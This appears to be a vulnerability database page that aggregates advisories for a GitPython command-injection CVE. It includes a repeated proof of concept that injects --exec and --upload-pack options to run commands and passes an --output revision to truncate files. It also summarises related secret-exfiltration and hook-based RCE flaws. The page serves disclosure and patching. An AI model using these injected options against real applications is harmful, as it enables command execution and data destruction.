CVE-2026-67323
GitPython before 3.1.51 Command Injection via unguarded Git options
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.6
GitPython before 3.1.51 Command Injection via unguarded Git options
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
CVE-2026-67323- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2026-51805
8.6
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
EUVD-2026-51805- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4vpg-pfj8-m33q
8.6
Duplicate Advisory: GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-956x-8gvw-wg5v. This link is maintained to preserve external references.
Original Description
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
GHSA-4vpg-pfj8-m33q- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-956x-8gvw-wg5v
8.4
GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).
pip install GitPython # 3.1.50
Common setup for the three:
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
- exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
- Record
GHSA-956x-8gvw-wg5v- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77, CWE-88
- Updated
- 2026-11-02
NVD
8.6
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
CVE-2026-67323- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
8.6
GitPython before 3.1.51 Command Injection via unguarded Git options
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
CVE-2026-67323- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-77
- Updated
- 2026-11-02
Show 21 moreShow less
OSVDEBIAN-CVE-2026-67323
8.6
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
DEBIAN-CVE-2026-67323- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-4vpg-pfj8-m33q
8.6
Duplicate Advisory: GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-956x-8gvw-wg5v. This link is maintained to preserve external references.
Original Description
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
GHSA-4vpg-pfj8-m33q- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVGHSA-956x-8gvw-wg5v
8.4
GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).
pip install GitPython # 3.1.50
Common setup for the three:
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
- exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
- Record
GHSA-956x-8gvw-wg5v- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77, CWE-88
- Updated
- 2026-11-02
OSVOESA-2026-3249
9.3
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)
GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)
GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)
GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)
- Record
OESA-2026-3249- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVOESA-2026-3250
9.3
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)
GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)
GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)
GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)
- Record
OESA-2026-3250- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVOESA-2026-3251
9.3
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)
GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)
GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)
GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)
- Record
OESA-2026-3251- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVPYSEC-2026-3839
8.4
GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).
pip install GitPython # 3.1.50
Common setup for the three:
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
- exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
- Record
PYSEC-2026-3839- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:44416
8.8
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:44416- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:45785
8.8
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:45785- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:45940
8.8
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:45940- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:59135
8.8
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:59135- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:59136
8.8
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:59136- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:71113
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:71113- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:71114
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:71114- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-67323
8.6
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.
- Record
UBUNTU-CVE-2026-67323- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1787718591 No score
TuxCare security update for gitpython (11 CVEs)
TuxCare rebuilt gitpython to address 11 CVEs. Fixed in 3.1.31.post10+tuxcare.
- Record
CLSA-2026-1787718591- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21874-1 No score
Security update for python-GitPython
This update for python-GitPython fixes the following issues:
- CVE-2026-67322: environment-variable exfiltration in
Repo.clone_from()URL via os.path.expandvars() (bsc#1273357). - CVE-2026-67323: unguarded Git options passed as keyword arguments in
Repo.archive()andgit.ls_remote()allow for command injection (bsc#1273358). - CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation feature and allows for bypass (bsc#1273359).
- CVE-2026-67326: failure to validate newline characters in the section parameter of
config_writer()can lead to RCE viacore.hooksPath(bsc#1273364). - CVE-2026-69097: failure to properly escape section names in Git
configfiles allows for injection of arbitrary configuration directives through malicious submodule names and can lead to RCE (bsc#1273414). - CVE-2026-73619: incomplete denylist in the
unsafe_git_archive_optionsguard that omits--add-fileand--add- virtual-fileoptions can lead to arbitrary file reads (bsc#1275755). - CVE-2026-73620: failure to guard Git option forwarding in
IndexFile.checkout()andTagReference.create()can lead to arbitrary file reads and writes (bsc#1275756). - CVE-2026-73621: argument injection in the
Commit.count()method allows for destruction/blanking of arbitrary files (bsc#1275757). - CVE-2026-73622: failure to disable environment variable expansion in
Remote.create()andSubmodule.add()URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751). - CVE-2026-73623: incomplete denylist in
unsafe_git_clone_optionsthat omits--templateallows for arbitrary command execution (bsc#1275752). - CVE-2026-73624:
Diffable.diffmethod fails to validate git options passed throughkwargs, which can lead to arbitrary file writes (bsc#1275753). - CVE-2026-73625:
check_unsafe_optionsguard bypass via smuggling of git options inside single-characterkwargvalues can lead to arbitrary code execution (bsc#1275754). - CVE-2026-76217: failure to validate options passed to
git rmandgit checkoutcommands inIndexFile.remove()andHead.checkout()can lead to arbitrary file reads (bsc#1275745). - CVE-2026-76218: unguarded git option forwarding in
Repo.initallows for arbitrary command execution (bsc#1275746). - CVE-2026-76219: unguarded
git read-treeoption forwarding inIndexFile.from_tree/reset/merge_treecan lead to arbitrary file overwrites (bsc#1275747). - CVE-2026-76220:
check_unsafe_optionsguard can be bypassed by combining a single-characterkwargwithsplit_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748). - CVE-2026-76221:
config-nameinjection in theoption-namevalidator can lead to remote code execution (bsc#1275749). - CVE-2026-76222: failure to validate submodule names from
.gitmodulesfiles allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750). - CVE-2026-78675: failure to disable
merge_includeswhen parsing.gitmodulescan lead to discloseure of local file contents when arbitrary file paths are included via[include]directives (bsc#1276434). - CVE-2026-78676: failure to safely re-serialize multi-line
git-configvalues during write operations can corrupt dormant quoted values into live injected directives (bsc#1276433). - CVE-2026-78677: omission of
--separate-git-dirfromunsafe_git_clone_optionsallows for creation of arbitrary git directories outside the intended clone destination (bsc#1276432). - CVE-2026-78678: incomplete denylist in the
unsafe_git_revision_optionsguard that omits--contentsand-Soptions allows for reading of arbitrary files when these options to are passed toRepo.blame()(bsc#1276431). - CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read via…
- Record
openSUSE-SU-2026:21874-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-67323 No score
CVE-2026-67323 in GitPython - Patched by Root
Root has patched CVE-2026-67323 in the GitPython package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-67323- Updated
- 2026-11-02
OSVROOT-APP-PYPI-GHSA-4vpg-pfj8-m33q No score
